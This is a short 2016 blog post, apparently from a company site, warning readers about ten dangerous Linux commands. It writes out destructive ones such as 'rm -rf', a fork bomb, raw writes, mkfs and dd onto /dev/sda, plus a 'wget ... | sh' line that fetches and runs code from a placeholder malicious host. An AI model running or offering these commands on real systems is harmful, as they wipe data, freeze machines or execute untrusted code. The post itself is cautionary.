10 Linux commands you should never execute

by | Mar 21, 2016

ETIQUETAS: Hot news | Linux-en | Tips

Linux commands are useful and productive, but sometimes they may be dangerous, specially when you are not an expert on the tasks you are performing.

That's why it is highly recommended to double chek these commands below before executing them:

-rm -rf: It is one of the fastest way to wipe out a folder and its content.

-:(){:|:&};:: It keeps on executing one function again and again untill the system freezes.

> /dev/sda: It replaces all data on a block, resulting on a total loss of those data.

mv folder /dev/null: It moves all the contents of a user directory to /dev/null.

wget http://malicious_source -O- | sh: It downloads and executes a script from a malicious source.

mkfs.ext3 /dev/sda: It formats sda block and leaves the system into unrecoverable stage.

> file: It deletes the content of a file.

^foo^bar: It is used to edit previously executed commands without the need of retyping them, so the changes to be made need to be thoroughly checked.

dd if=/dev/random of=/dev/sda: It wipes out the sda block and adds junk data, so it leaves the system at inconsistent and unrecoverable stage.

Hidden the Command: It wipes root partition.

To dig deeper into the consequences of executing these commands, have a look at this article: 10 Most Dangerous Linux Commands

SHARE

0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *

Recent posts

VDI: The most secure environment for hybrid working

Today is Data Privacy Day. The purpose of this date is to raise awareness and promote privacy and data protection best practices. It was initiated by the European Commission, the Council of Europe, and the Data Protection authorities of the European Union’s member states. Their main goal was to drive attention to the importance of privacy, user data protection, and compliance of the General Data Protection Regulation (RGPD). It is a regulation characterized by significant fines for non-compliance since its implementation in 2018.

How to avoid issues with virtual machines

Virtualization comes with a wide range of benefits for organizations. It helps cut IT costs and reduces downtime while increasing efficiency and productivity. It also increases the resiliency of networks, primarily when disasters occur, and promotes more green-friendly operations.

However, using virtual machines also comes with a set of downsides. Information security may get compromised, workloads mixed up, separation duties lost, among other issues. It is vital to know how you can get over these problems, and that’s what this article will discuss.

Let’s get started.

Archives


Stay up to date with all the news from UDS ENTERPRISE through our social networks. Follow us!

Skip to content